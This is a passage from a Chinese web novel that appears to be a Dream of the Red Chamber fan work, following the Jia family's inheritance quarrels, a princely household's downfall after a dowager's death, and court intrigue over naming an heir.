然后那个倒霉的丫头就挨了贾赦一记耳光,在屋里都能听见巴掌声,还有摔倒落地的声音,贾史氏的脸立刻沉了下来。这长辈身边的下人,代表的就是长辈的脸面,贾赦打了她的丫头,这是对她这个母亲不满啊! 一边元春听到动静,也是吓了一跳,她年纪还小,根本忍不住,不由跟着哭了起来,一边奶娘赶紧将她抱了起来哄。 贾史氏心疼孙女,直接喝骂道:“老大你给我进来,你又在哪儿喝了什么马尿,耍威风耍到我这里来了!” 换做是之前,听到贾史氏这么骂,贾赦早就要低头认错了,但是如今,贾赦根本没有半点怕的意思,他直接大步从外头进来,连打帘子的丫头都差点被他推了个趔趄。 他进门敷衍地给贾史氏行了一礼,然后就阴阳怪气着说道:“我哪敢啊,如今我贾恩侯算什么东西,一个个看 到我,眼睛都要翻到头顶上去了!这不是老太太您想看到的吗?这府里头,就没我贾赦的立足之地!” 胡咧咧什么!贾史氏一拍炕几,瞧着贾赦不像是喝多了的样子,心里也是一沉,琢磨着贾赦到底又是哪儿不对劲了,非要过来找不自在,嘴上骂道,你是府里袭爵的大老爷,谁敢不把你放在眼里!我看是你不把我放在眼里才是,你今儿个要是不说出个子丑寅卯来,别怪我老婆子去敲登闻鼓告你个忤逆不孝!说着,又跟元春的奶娘使了个眼色,叫她抱着元春先下去,总不能叫这么大点孩子看着长辈吵架,女孩子家家的,柔顺一些为好,没得移了性情。 ?想看微云烟波的《红楼太妃要躺平》吗?请记住[]的域名[( 奶娘也是如蒙大赦,她一个做奴婢的,更不敢知道府里头主子之间有什么矛盾,回头被惦记上,别说是丢了现在这个体面的差事,只怕连命都未必保得住,当下老老实实抱着还在哭的元春就下去了。 其他那些下人倒是想走,但是贾史氏没开口,只能硬着头皮待在这里,一个个低着头,眼睛盯着地面秋香色毡子上的图案,就像是看到了什么新的花样一般。 贾赦才懒得理会被抱走的元春,一个丫头片子罢了,就因为生的日子好,就被说成是有造化的了!再听着贾史氏又拿什么忤逆不孝来拿捏自己,他不由冷笑道:“您去啊,我现在就驾车送您去!到了圣上那里,我倒要问问,我怎么做才叫孝顺!” 见贾赦居然硬气起来了,贾史氏也不知道他哪来的底气,她又不可能真的跑去告贾赦不孝,到时候,荣国府只会跟着一并玩完,她就是贾家的罪人!左右为难之下,她能做的只能是装晕,直接扶住额头,往旁边一倒,身边伺候的大丫头玛瑙立马上前撑住,然后扶着贾史氏的背颈在炕上躺好,嘴里还叫嚷道:“老太太,您怎么了?大老爷,你再如何,也不能把老太太气成这样!”她看到贾史氏闭着的眼皮子下面眼珠子还有些转动,自然知道老太太是在装晕,但是还得配合着将这事推到贾赦头上去。 话还没说完,贾赦就一个窝心脚踹了过去,只将玛瑙踹倒在地,一时间压根爬不起来,嘴里还阴恻恻地说道:“你们一帮奴婢,倒是会颠倒黑白了!我看啊,是你们这帮伺候的人不精心,也不知道老太太身子不自在,才几句话,就撑不住了!正好,今儿个本老爷就将你们给卖了,叫你们知道,什么叫做上下尊卑!”说着,就要喊人进来捉人。 顿时,屋里一帮奴婢都不敢吱声了,老太太跟大老爷是嫡亲的母子,就算嘴上喊着要告大老爷忤逆不孝,但是谁都知道,她就是说说,用这事来拿捏大老爷。如今大老爷不吃这一套了,他是府里正经的主子,真要是将她们提脚卖了,她们也没处喊冤去! 贾史氏一边暗骂怎么贾政两口子还不过来,一边只能是睁开眼睛,毕竟,真要是贾赦将她身边这些丫头都给卖了,她没了使唤得顺手的人,只怕在这府里,说话也没几个人肯听了。她勉强自己坐起来,气道:“你,你个不孝子!”她想要骂贾赦怎么敢动自己身边的人,但是一看还没爬得起来的玛瑙,顿时就说不出口了,人 家都已经动手了,还有什么敢不敢的。 贾赦一直看着贾史氏呢,看到她这会儿这般姿态,又是一阵冷笑:“我就说老太太你没事,要不然怎么这么容易就醒了!” 贾史氏简直是气急败坏,她坐直了身体,厉声问道:够了!之前的事情,你也是同意了的,你今儿个过来我这荣庆堂,到底是想要做些什么??” 贾赦这会儿却是气定神闲起来,他一屁-股在一边圈椅上坐下,环顾了一下四周,骂道:“没眼力的东西,别说是本老爷我过来,就算是外头的人来看老太太,都不知道送杯茶上来吗?”挟着连打了几个人的余威,一帮原本在府里头恨不得比一般的主子还体面的丫头不由打了个寒颤,但是没有贾史氏的吩咐,又不敢动,只得先看向了贾史氏。 贾史氏咬了咬牙,看着丫头们求助的眼神,摆了摆手,说道:“去给大老爷泡杯茶上来,也让他醒醒脑子!”贾史氏的大丫头琥珀赶紧跑隔壁去泡茶。贾史氏年纪大了,喜欢喝老君眉,原本不管谁过来,都得就着贾史氏的习惯,但是如今看贾赦这个样子,却是不能这样打发了他。贾赦一直喜欢喝的是绿茶,偏生如今这个季节,当年的新茶还没上来,茶库里头也只有去年的陈茶,琥珀心中惴惴,生怕泡错了茶,被贾赦揪住了短处,只得一边叫人烫洗茶具,一边在柜子里头挑选。 贾赦毫无仪态地翘起了腿,大大咧咧地说道:“那我就偏了老太太您这边的好茶了!从我媳妇不管家了,我那边哪里还有什么好茶,就是些干树叶沫子!呵,这帮见风使舵,吃里扒外的混账,等回头我闲了,非扒了他们皮不可!” 贾史氏这回真的要气晕过去了,好在外头又匆匆传来了脚步声,来的是贾政。 “大哥,你又闹什么,把母亲气出个好歹来,你也不怕落个不孝的罪名!”贾政一进门,就劈头盖脸地说道。 这会儿茶还没送过来,贾赦左右一看,就看到不远处春凳上摆着一根紫檀如意,当下起身上前,抄起来对着贾政的脑袋就扔了过去,嘴里骂道:“老二,你倒是满口孝顺道德,结果看到我这个大哥,连个礼都没有,你还知道什么叫做长幼有序吗?” 贾赦简直是要杀疯了,他这些日子看起来在自己屋里胡天胡地,实际上夜深人静的时候,都在复盘自己怎么就落到了如今这个地步,最后得出的结论是,自己太要脸,被自家老娘和弟弟给架住了。他到现在才意识到,除了所谓的孝顺,那母子两个其实就没什么地方能拿捏自己的。这下好了,你跟我说孝,那悌呢! 贾政勉强闪躲了一下,还是被紫檀如意打中了肩膀,好在如今穿得多,倒是没怎么觉得疼,只觉得被噎住了,好半天张口结舌地说道:“大哥,我跟你说你气着母亲的事情呢!” 贾赦懒得理他,直接站起身来,说道:“你哪只眼睛看到我气着老太太了!行了,既然你也来了,那我也不拐弯抹角!老二,老老实实把我的名帖交出来!” 贾政还没来得及开口,贾史氏就骂道:“名帖给你干什么,又去胡作 非为吗?你把咱们家害成现在这个样子还不够,你还想干什么,一大家子陪你去死?” 贾赦一听这话,就想到之前贾史氏用这事拿捏了自己几次,弄得自己这个袭爵人在荣国府反而成了外人一般,当下就拉下了脸,咬牙切齿地说道:“老太太,你说话可仔细着些!圣上都没给我定罪呢,我都做什么了?还我把家里害成这个样子!当初是我要进詹士府的吗?要不是我,父亲又哪来的救驾之功?你以前成天喊着我没用,我要是那时候就跟王家的王子胜一样,在家吃喝玩乐,又哪来这些事情!现在反倒是怪起我来了!老太太,还有老二,你们真要是把我逼急了,那我真的就带着一家子一起死!想要荣华富贵不容易,想死还不容易吗?”说到后头,他几乎是咆哮了起来,只吓得端茶过来的琥珀差点将手里的茶盏都打翻了。 贾史氏也被贾赦的语气吓坏了,没错,在这个一切都讲究连坐的时代,一人得道,可以鸡犬升天!一人惹祸,也能九族灭门!贾史氏好日子还没过够呢,她可不想就这么被贾赦拖下水。 贾赦根本没给贾史氏和贾政思考的时间,直接催促道:“现在想明白没有?我的名帖,现在都给我老老实实送过来,哪怕是用过的,我也得知道你们给用哪儿了!” 贾政有些尴尬,他继承爵产,是贾家内部的决定,只不过是其他跟贾家利益相关的人家一个是贾史氏的娘家,一个是王氏的娘家,他们自然是向着贾史氏和王氏的,明面上说这都是贾家的家事,他们不好管,实际上他们这副做派就是对贾史氏和二房的支持。而上头圣上巴不得各家勋贵都这么窝里斗,蠢得自家将权柄一分为二,省得再结党营私,影响皇权。可惜直到现在,也唯有贾家这么折腾了一场。可以说,要不是贾家后来自个瞎作死,就他们这自损八百的蠢样,皇家都懒得理会他们! 贾政顶着一个工部主事的六品小官,来主持荣国府的内外事务,根本就撑不起这个架子来,所以他才需要贾赦的名帖,这般有什么事情,都有贾赦这个正经的袭爵人在背后背书,说话就硬气多了。可若是没了贾赦的名帖,他一个六品小官,执掌荣国府,就有点德不配位的意思。 贾政素来不是什么有担当的性子,万事都有贾史氏顶在前头,如今又将求助的眼神转向了贾史氏,贾史氏心中暗骂这个儿子烂泥糊不上墙,但是面上还得给贾政撑腰,毕竟,贾政真要是个有出息的,还不将自己这个亲娘给撇开一边,她这个老封君做得还有什么滋味可言。 贾史氏心思一转,说道:“你是府里的袭爵人,许多事情,不用你的帖子用谁的!这样,以后家里有什么好东西,先紧着你用,你有什么花销,也尽管从公中走,我身边琥珀也给了你,你这名帖就留在我这里,以后用的时候,都先跟你说一声,你觉得如何?” 贾赦冷笑道:“不如何!你们到时候多印几份名帖,我怎么知道你们用哪儿去了!回头我便去礼部将我那印也换了,这批名帖,直接作废!至于说什么花销从公中走之类的,那不是应当的吗?就许老二一家子赖在府 里头,拼命花钱,我们大房正经袭爵的,反倒要用自个的?惹急了我,咱们现在就分家。我带着一等将军的匾额直接搬出去住,看你贾老二有没有脸继续住在荣禧堂!” “放肆,我还在呢,分什么家!”贾史氏气道,“父母在,不分家!行了,老大,名帖给你便是,到时候咱们家被人笑话,我看你还有没有脸面出门!” “那就不出门好了!”贾赦无所谓地说道,“就算出门,我又有什么好怕的,我就做一个废物了,还有谁能当着我的面笑话我不成!老二,听到没有,去把我的名帖都拿过来,少一张,你就等着瞧!” 既然贾史氏都没拦住,贾政自然更没办法,只得老老实实回书房将名帖都拿了回来,正月里头的确用去不少,为的也是亲朋故旧之间的人情往来,并无多少正事,贾赦一一验看之后,暗中松了口气,直接将剩下的名帖往自己衣服里面一塞,直接扬长而去。 只将贾史氏气得一个倒仰,指着贾赦的背影说不出话来,贾政赶紧上前安慰,又道:“大哥也太不把母亲放在眼里了!” 贾史氏看着贾政的眼神那叫一个恨铁不成钢:“你就想到这个吗?他名帖拿过来也这么长时间了,什么时候想起这事了!只怕这里头还有些文章,教你媳妇打探一下东院的情况,别叫人暗地里头挑拨了你们兄弟之间的关系!”她头一个就怀疑起了张氏,儿媳妇像是王氏那样拙的,叫人不乐意,但是遇上张氏这种心思灵巧的,贾史氏又觉得有些拿捏不住。 贾政口中诺诺称是,实际上心里也明白,从贾史氏做出爵产分离的决定,他作为受益者默认了现在这个局面的时候,兄弟两个就再也不可能真正兄友弟恭了。他心里也在嘀咕,之前瞧着大哥糊里糊涂,只知道在自个屋里饮酒作乐,今儿个却精明起来了。 贾政回去找王氏商量打探这几日东院发生了什么事,贾史氏却是开始琢磨贾赦的变化会带来什么样的结果。! 第 48 章 顾晓还没来得及打听荣国府后来是不是又有什么稀奇事,就听说宁王府太妃没了。 据说宁王府太妃自从先宁王和宁王世子薨逝之后就郁结于心,一直卧病在床,后来更是不得不去城外庄子上养病,一直到过年的时候才回了王府,结果前些日子竟是又染了风寒,竟至不治,昨儿个宁王府就开始往四处报丧了。 虽说平王府如今也还在孝中,但是这等大事,自然也不能略过平王府去。 听闻了这个消息,吴嬷嬷便有些心有余悸,悄悄对顾晓说道:“还好娘娘有小王爷,要不然……” 这事从头到尾听起来似乎很正常,一个之前就缠绵病榻的人,再染上风寒,一病没了,在这个没有抗生素、没有激素治疗的时代,简直是再正常不过了!何况,这里头还说是宁王太妃没了丈夫和儿子,没了别的指望,心如死灰的情况下,再好的大夫也是治不了的。 但是他们却根本不去想,既然人家已经是想死的人了,干嘛还要跑到城外庄子上去养病呢?可见之前平王府对他们来说,已经是虎狼之地,不得不离开。结果饶是如此,她的退让也没有叫对方放手,反倒是趁着过年的机会,将人给治死了。 只是明面上宁王府太妃死得并无什么疑义,没人喊冤,宗人府的人过来探看尸体,也看不出什么异常,像是这等身份的人,就算是死得不正常,也不会找仵作来验尸,这不是叫人死无全尸,死后不安吗?何况,皇家也不能真出什么小妾害了主母的事情,到时候岂不是又是一场笑话? 因此,这事报上去之后,圣上也不清楚内情,只感慨这个儿媳妇与儿子感情深厚,叫宗人府将其与先宁王合葬,并赏赐了一些器物作为随葬品,这事也就这么过去了。 在圣上那里,这事算是过去了,在宗室里头,这事却是掀起了一片波澜。 以前大家都同情安王太妃,如今大家都觉得,与其摊上个不省心的有子的侧太妃和一个不靠谱的庶子,还不如清清静静的做个无子的寡妇呢,难不成身为皇家妇,还怕将来死了之后没人供碗茶饭不成? 当然,像是顾晓和端王太妃这种还有亲儿子袭爵的,自然是再好不过,俨然成了妯娌里头的人生赢家。 顾晓知道这些之后,愈发叫下头人低调起来,闷声发大财就可以了,出头椽子先烂,叫人嫉妒真不是什么好事。好在很快就有人重新抢走了大家的注意力,那就是颖王太妃。 颖王太妃直接先下手为强,表示府里侧太妃想要自愿为先颖王祈福,然后直接把人给送延庆寺去了。 延庆寺也算是皇家寺庙,是当年太宗皇帝为太后祈福所建,后来宗室乃至皇室里头,有女眷出家,多半就在延庆寺。这位颖王侧太妃送过去,便是将来她儿子封了郡王,也别想将人接出来,顶多就是送点东西进去。 颖王太妃能这么做,也有底气,她父亲苏牧虽说官职不算高,仅仅是个四品,也无甚实权。但是她母亲却是正经的宗室郡主,也就是说,圣 上是颖王太妃的堂舅。她外祖醇王至今还在世,在宗室里头依旧具有很大的影响力,在这样的情况下,她不过是撵个侧太妃去出家,又不是想要将府里的嗣郡王给换掉,这算得了什么。 至于亲妈被逼出家,那位嗣郡王会不会报仇,颖王太妃还巴不得他出手,只要被抓住把柄,这位嗣郡王就废了,一个不孝的人哪有资格继承王位。而且,颖王太妃都想好了,她有嫁妆,有俸禄,将来又不需要庶子奉养。而且庶子继承的又不是颖王的爵位,是一个郡王爵。要是对方一直老实恭顺,那么将现在的颖王府封去一部分面积,保留郡王规制,继续让他住着,也是无妨。但是,既然这位大概率是个白眼狼,那就好办了。袭爵之后直接找个符合郡王规制的王府把他丢出去,颖王太妃却可以一直在颖王府终老,如此反倒是省心。 “这位嫂子倒是个聪明人,何必在意外头人的想法,日子是自己过的,横竖不指着庶子孝敬,干嘛要自找憋屈呢?”顾晓听说之后,颇为感慨。 “可不正是如此,要是当初宁王太妃能想到这一重,也不至于落得个这个地步!”吴嬷嬷赞同道。 “等着瞧吧,那位侧太妃以为没了宁王太妃,她就能当家做主了,美不死她!”顾晓冷笑一声,说道,“便是圣上想不到,宗室里头那些王妃多有看不过去的,毕竟,兔死狐悲啊!” 果不其然,宁王太妃下葬不久,如今的宗人令庆王就上折子表示,宁王太妃薨逝,宁王府一干人等却是不适合继续住在里头了,该以嗣郡王的规制重新安排府邸,现有宁王府封存,以待后来。 圣上对这个皇孙其实没什么印象,以前他见过的也是宁王太妃所出的嫡孙。如今正经的儿媳妇没了,的确也不能叫庶孙还住在王府里头,也不合规矩。至于府里什么侧太妃,太姨娘之类的,在圣上那里根本就不放在眼里,因此当下就准奏,命宗人府重新安排府邸,择日叫原宁王府众人都搬迁过去。 这听起来很有道理,但是里头猫腻多了去了。 就像是王府,朝廷如今在世的亲王差不多十来个,各家王府的规制就有不小的区别,最大的面积足有最小的好几倍,这还只是面积,里头建筑呢? 而这个嗣郡王就更不好说了,就像是嗣亲王的地位应该是比郡王略高,比亲王略低一样,嗣郡王就应该是比国公略高,比郡王略低。宗室的镇国将军名义上位比国公,论起待遇就差远了,因为人家祖上是真的给朝廷立了大功的,几乎算得上是小股东。开国那会儿,神京之中前朝权贵死的死,降的降,内城的地皮自然没有现在这么紧张。 可是如今就不一样了,开国已经近百年,人口滋生,别说是内城了,便是外城,好一点的地段都被占了。之前为了给圣上一众皇子修建王府,甚至拆除了内城不少民宅。因此,给一个嗣郡王另建府邸那是不可能的事情,只能从之前的旧宅里头找规制合适的,还得再翻修一下。 宗人府那边觉得那位侧太妃乃至那位嗣郡王心思不正,自然不会给他们分派什么好地方,直接挑 了个镇国将军的宅子,略微改了改里头的装饰,比如说加两级台阶什么的,就命宁王府一大家子人搬家。 这搬家,也是要在宗人府的监督下进行的,许多原本亲王规制的东西,他们是不能带走的,原本属于宁王太妃的东西,宗人府那边同样对照着单子,都扣留了下来,表示宁王太妃无子,在她没有遗嘱将其分给庶子的情况下,这些东西会和她的那些私产一起,还给宁王太妃的娘家。 那位侧太妃简直是偷鸡不成蚀把米,她几乎将宁王太妃的东西都给侵吞了。要不是许多东西按照礼制,要给宁王太妃陪葬,她连凤冠都敢扣下。如今被人对着单子和规制,将不符合她身份的东西全挑了出来,甚至当年宁王赏她的一些略微出格的首饰衣裳都没保得住,哪怕她争辩说这些是先宁王赏赐的,宗人府的官员直接表示,他们不管是谁赏赐的,只管是否逾制。再说了,以前府里头有亲王,有亲王妃,这些东西给你一个侧室也算不得什么,但是如今,你说是侧太妃,但是能跟着嗣郡王养老,那都是皇恩浩荡,要不然,夫主妻主都没了,你们这些偏房妾室,难道还能继续安享富贵吗? 可以说,光是搬了次家,这母子两个就脱了几层皮,连同原本属于宁王府的产业,也跟着缩了水,毕竟,你一个嗣郡王,还想要有等同于亲王的皇庄数量?你这不是开玩笑嘛! 侧太妃只觉后悔不迭,她根本没想到,若是宁王太妃还在,宁王府的牌子就能一直保留,总要等到她百年之后,朝廷才会将超出规格的东西收回来,结果人现在就走了,嗣郡王年龄又还小,那还不是任人拿捏,一个不好,到了可以袭爵的年龄,宗人府那边都能拖着不给他办。她能仗着嗣郡王生母的身份在王府里头横行无忌,但是在宗人府面前,那又算得了什么! 可惜如今后悔已经晚了,他们只能搬进不足以前两成大的逼仄宅子,将下人带进来之后几乎都要住不开,再算一算府里的浮财和产业,只觉连下人都要养不起了。 几个原本投靠了侧太妃,漠视侧太妃对当初的宁王太妃步步紧逼的太姨娘这会儿恨不得一巴掌将过去的自己扇死,可事到如今,她们也没证据说是侧太妃害了太妃,何况就算是生活水平下降了,也还得靠着侧太妃母子过日子,也只能忍了。 这母子俩落得如今这个下场,许多人都拍手称快!大家未必觉得宁王太妃是侧太妃害死的,但是,光看宁王府延医用药的记录,就知道,起码侧太妃有拖延之嫌,这等祸害,没赐死已经算是侥天之幸,多受点活罪也是罪有应得。 宁王太妃的死也仅仅是在宗室圈子里掀起了一阵波澜,外朝可不关注这些,去年的风波已经过去,一些人算一算圣上的年龄,便觉得这立储的事情还是得提上日程才行。 只是,也没人是傻子,之前弹劾宁国公主也就罢了,一个不受宠的公主,就算是弹劾了,也掀不起什么风浪来。但是正是那一次弹劾,大家也意识到,哪怕宁国公主有个悖逆的兄长,圣上依旧是个护短的。治国公府被治了个教子不严的罪名,驸马马淳旧伤 还没好,就被凶神恶煞的锦衣卫找上门来,拖到治国公府大门口又挨了一顿板子,直打得气若游丝,叫外头人看足了笑话。原本治国公府还想要将马淳给送公主府去,结果公主府大门紧闭,连句话都没有,最终还只能灰溜溜把人给带回来。 治国公府简直是丢脸丢到老家去了,如今便是这一代的当家人马尚,如今都不敢随便出门,他倒是恳切了上了好几封请罪折子,但是最终都被留中不发,这口气一直提着,根本放不下来,私底下正在想尽办法走门路,希望能够将这事给料理干净。要不是担心被人说成是六亲不认,他恨不得直接将马淳给逐出家门。 ?本作者微云烟波提醒您《红楼太妃要躺平》第一时间在.?更新最新章节,记住[( 与之相反的是宁国公主,不仅没有受到什么申饬责难,反倒是被赏下了许多绫罗珠玉,用作抚慰。听说后来宁国公主入宫谢恩,在圣上那里哭了一场,之后又是父女情深,一派和睦光景,只气得许多在之前宫变中损了儿孙的宫妃背地里头咬牙切齿,帕子都撕烂了好几条。 大家现在是猜不明白圣上究竟是个什么想法,顾念那位义忠亲王也就罢了,毕竟人家的确是被疼宠了几十年的嫡子。但要是说顾念其他几个同样参与了谋逆的皇子,又没有安抚他们妻儿的意思,这些人依旧被关着呢!这安抚一个之前被冷落的公主,传递出来的又是个什么信号呢? 圣心难测,但是大家还得揣摩圣心。虽说天无二日,但储君同样是国本,要不然圣上这个年纪,一不小心噶了,之后大家该拥立谁呢?你总得给我们一个明确的信号吧! 因此,这一日,某愣头青就被撺掇着上了折子,表示要请立国本! 这算是触到了圣上的逆鳞,之前就是因为圣上年纪不小了,太子都做了三十年熬不下去了,父子相疑,以致酿成宫变,骨肉相残,死伤惨重。 圣上头一个就怀疑起了雍王,结果雍王被吓得不轻,当天就告病,躲在自个王府里头不肯露头。瞧着这个儿子这副没出息的模样,圣上虽说依旧还有些疑虑,但还是将怀疑的视线投向了其他地方。毕竟,成年健康的儿子就剩雍王一个了,他下头小儿子还有七八个呢!这里头年纪最大的如今也十二三岁了,圣上自个当年到了这个年纪,已经开始幻想着一言九鼎、指点江山,他这些儿子,哪个又是什么省油的灯!何况,宫里头那些宫妃,哪个又不想要做太后呢!便是甄贵妃这个枕边人,心里头也是要为亲儿子打算的。所谓皇帝,那就是孤家寡人,谁都信不过! 圣上也是多年的老狐狸了,他如今也想要看看,这背后到底有什么人在搅风搅雨。他自觉自己如今身体还算是不错,再活个十几二十年不成问题,既然如此,干什么要忙不迭地立太子,嫌逆子太少,不够惹自己烦心的吗? 那封请立国本的折子再次被留中不发,偏偏圣上隐约之间还露出了点鼓励的意思,然后,又有几个满脑子都是从龙之功的蠢货跳了出来,却不知道自己这边才跟着上了折子,祖宗十八代都被通政司查出来了。 随着立储的呼声越来越大,似乎圣上的心思也在动摇,果然又钓出来一批原本还 在稳坐钓鱼台的老家伙。 也别怪他们按捺不住,实在是这种政治投机收获巨大。 在他们看来,成年的两个亲王如今都算是出局了,一个眼神差,一个已经被之前的宫变吓破了胆子,那么有资格成为太子的就是几个年龄比较小的皇子。 这里头,最有希望的就是十三皇子徒宏轩和十四皇子徒宏憬,徒宏轩生母瑜妃父族倒是一般,但是母族却是西宁郡王府,可以说,徒宏轩身后站着的就是西宁郡王府,而西宁郡王府背后又有相当一批开国勋贵的支持。至于徒宏憬,就更不用说了,甄贵妃这十年来几乎是独占圣宠,如今以贵妃的身份,代行皇后的职务,可以算得上是半个皇后了。 甄家其实是内务府官员出身,甄家的老太君是圣上的乳母,圣上登基后没几年就被封为奉圣夫人,每每寿辰,还都能收到圣上的赏赐。甄家也因此鸡犬升天,甄应嘉作为圣上的奶兄弟,先是在龙禁尉担任侍卫,之后执掌内务府广储司,后来又外放江南做了金陵织造,还做过两淮巡盐御史,圣上之前下了四次江南,甄家就有三次接驾,甄贵妃就是第二次接驾的时候侍奉了圣上,之后便青云直上,做到了贵妃的位置。总之,那叫一个简在圣心,也因为织造和盐务的缘故,甄家如今在江南已经网罗了大量党羽,朝中也有许多人为甄家张目,影响力巨大。 徒宏轩如今也十岁了,徒宏憬比徒宏轩只小一岁,圣上再活个十年,他们到时候也二十,就算是登基,也不算是幼主,因此,大家都觉得,圣上应该会乐意选个小儿子做太子,等到自己年纪大了撑不住了,正好交班,父子之间不至于落到之前义忠亲王的地步。 可惜的是,他们都看错了圣上。若是徒宏轩和徒宏憬背后没那么复杂,瑜妃和甄贵妃就是个普通的宠妃,圣上其实是不介意让心爱的小儿子做太子的。因为小儿子年纪小,起码十年内对皇位都不会有威胁。但偏偏这两人背后都站着一票人,这就让圣上打消了念头。 圣上当年自己登基,依靠的就是诸多开国勋贵,比如说四王八公。为此,他登基之后,给了这些从龙功臣不少好处。可惜的是,他很快就意识到,这些开国勋贵已经开始快速堕落,他们中真正有能耐的人是越来越少,一个个结党营私,私底下贪赃枉法倒是厉害得很。之前因着宫变的缘故,圣上倒是借题发挥,将一干开国勋贵削了一波,像是荣国府,从国公直接落到了一等将军,宁国府因为贾敬的骚操作,轮到贾珍继承的时候也就是个三等威烈将军了。 但这也只是看上去而已,实际上,因为这些开国勋贵联络有亲,休戚与共,光是削爵位,并不能真的减少他们的实力和影响力。真要是再叫他们捧出一个皇帝来,那到时候这个朝廷是不是还姓徒啊! 不过,作为一个老银币,圣上瞧着朝堂上为立十三皇子还是立十四皇子炒成一团的时候,却是表现出一副犹豫不决的模样。 今儿个这个说瑜妃出身贵重,徒宏轩又聪敏沉毅,可堪大任!明儿个那个说甄贵妃乃是如今后宫之首,徒宏憬为诸皇子中出身最高者,又素来孝顺,当为储君云云…… 然后圣上就摆出一副摇摆不定的模样,作为一个渣男,回去还得继续套路甄贵妃。没办法,男人到了这个年纪,已经有些力不从心,没法再广布恩泽了,甄贵妃哪怕生了孩子,依旧保养得很好,人也知情识趣,温柔可人。所以,圣上如今就喜欢在甄贵妃那边,就算不云雨敦伦,被甄贵妃的小手揉揉肩膀,捏捏胳膊什么的,也舒服啊! 甄贵妃自然是想要自家儿子做太子的,圣上也在那里拿着这个吊着甄贵妃,弄得甄贵妃使尽浑身解数,各种讨好伺候,结果圣上这个渣男回来就跟甄贵妃说,四王八公势大,他们多半站在瑜妃母子身后,因此,他就算是皇帝,也不能独断专行,否则的话,若是军方生变,那就不好了! 圣上这般言语,其实就是知道,甄家跟贾家之前就借着不知道多久之前的外八路亲戚关系给勾连了起来,荣宁二府在四王八公中素来影响力极大,下头还有一干门生故旧,掌握着军中诸多要职。若是因为夺嫡之事,让四王八公这个团体分裂开来,对于皇家来说,自然是一件好事。 甄贵妃哪里明白枕边人心中的弯弯绕绕,当下就叫甄家以贾家为突破口,将勋贵一方的力量也拉到自个儿子这边来,哪怕只拉上一部分,起码也能压过徒宏轩那边,等自个儿子做了皇帝,想要收拾之前那些不识时务的家伙,那还不是手拿把掐的事情! 结果甄家跑贾家一番游说,直接将贾赦给气炸了。! 第 49 章 贾赦就算知道甄家与贾家以前有亲,但是以前与甄家之间的往来都是贾史氏做的主,他是半点也不知道内情。又因为大房直接单门别院住着,等闲连荣国府发生了什么都不清楚。 贾赦又是个有些糊涂的,自觉自己将名帖拿回来之后就能高枕无忧,又没了贾敬这个曾经的外置大脑,根本就不理会隔壁发生的是是非非。 张氏却知道,贾史氏和贾王氏都是不甘寂寞的性子,别指望她们能老实安分地留在府里安享富贵。因此,也收买了几个人,一直盯着荣禧堂和荣庆堂那边的动静。 但凡跟贾家关系密切的人都知道,荣国府这边别看袭爵的是贾赦,主持内外事务的是贾赦,但是真正做主的还是贾史氏。 因此,甄家的人一来,就说是要给老太君请安,直接就往荣庆堂那边去了。 贾史氏是个在情感上有着高需求的老太太,不光需要下人和儿孙奉承,外人的奉承更让她身心愉快。 她原本就觉得甄贵妃这一系很有机会胜出,如今见甄家找上门来,言语间将自己当做了定海神针一般,被吹捧得那叫一个晕晕乎乎,乐乐陶陶,要不是脑子里还有几分理智,或者说一直秉承着没好处不掺和的原则,当场就要答应帮着甄家鼓吹。 甄家那边看贾史氏满脸堆笑,就是不给一句实在话,也明白,空口白话让人帮忙是不行的,那得给出点实际好处才行。 只是,贾家如今在守孝,甄家的影响力其实也就局限在江南,暂时真给不了贾家什么实质意义上的好处。 既然如此,那就只能是画大饼了!知道贾史氏不喜欢贾赦,他们就许诺,等贾家除了服,贾政入职之后,想办法给他弄点功劳,然后帮他挪个好位置。 结果贾史氏对此毫不心动,她太明白自个儿子了!贾政这个人,是个没多少才干的,真要是委以重任,说不定就要手忙脚乱,惹出什么麻烦来。与其如此,还不如让他老老实实在工部熬一熬资历,慢慢往上升就是了。 见贾史氏不在乎儿子,那自然是要看孙辈。甄家这边很快就拍着胸脯保证,只要贾珠以后回金陵参加科考,那么保证贾珠考中秀才。这就有些吸引力了,可还是不够,你们家要的是太子之位,一个秀才也差太远了。 贾史氏也不明说,只叫人将元春抱了出来,一个劲地说自己这个孙女是如何聪明伶俐,又如何是个有造化的。 甄家顿时明白了贾史氏的意思,虽说徒宏憬比元春大个七八岁,应该将来做不了太子妃,但是,做个侧妃还是绰绰有余的,等到徒宏憬登基,这侧妃未必不能后来居上。两家的关系在这里,日后元春有了孩子,那甄贵妃能不向着这个孩子? 甄家既然给出了这样的承诺,贾史氏自然也不再继续拿捏,咱们贾家自个就有荣宁二府,两家多年执掌京营,姻亲之中,史王两家如今也兴盛,又在西北和辽东那边多有门人部将,只要能拉上他们,那就颇有声势了。至于另外几个国公府,贾史氏也不敢做出什么 保证,只能说是尽力而为。 饶是如此,贾史氏能做出这样的承诺,也已经超出了甄家的预期,当下,又是奉上厚礼,还将甄贵妃赏赐的一个金项圈赠给了元春,算是文定之物。 贾史氏与甄家之人相谈甚欢,王氏出来的时候,同样满脸笑意。张氏虽说没打听清楚荣庆堂中,他们达成了什么交易,但是如今外头的事情,她还是知道一些的。 甄家这般上蹿下跳,为的可不就是推徒宏憬做太子吗? 张氏不清楚徒宏憬到底能不能做太子,她清楚的是,贾家之前才因为夺嫡的事情栽了跟头,如今还想要再来一次,那真的跟找死差不多!上头哪个当皇帝,也见不得这等就喜欢搞政治投机的臣子! 张氏知道,拿这事去跟贾史氏和王氏说道理是掰扯不过她们的,那就只能叫贾赦去耍混玩无赖了! 因此,张氏几乎是立马就去了贾赦的书房,贾赦这次倒是没有跟女人厮混,而是在把玩着一块蓝青田冻石,打算自个刻一方小印。 “老爷,您再什么都不上心,只怕能玩这些的时间也不多了!”张氏照例进门就开始虚言恐吓。 贾赦也知道张氏的性子,他顺手将手里的石头放到旁边的匣子里,这才问道:“又出什么事了?我看最近府里一直挺安静啊!” “那老爷知道最近朝堂上发生了什么事吗?”张氏问道。 贾赦一脸懵逼,作为一个空有爵位没有职位的老宅男,他又不用上朝,也不需要坐班,哪里会关心朝堂上发生了什么事情! 张氏有些无奈,叹道:“朝廷邸报每日都会送过来,老爷没事也该抽空看两眼!” 贾赦顿时尴尬起来:“那个,我如今还在府里守孝,又不用出门,这朝堂上发生什么事情,跟我也没关系啊!” 张氏只觉憋了一肚子气,怎么自己就摊上这等混不吝的货色,不过还是耐下心来说道:“近些时日,朝堂上一直在讨论立储之事!” 贾赦脸色一下子就变了,他还没糊涂到这个份上,张氏既然提到此事,只怕自家已经掺和进去了,他忙问道:“那有没有说立谁?” 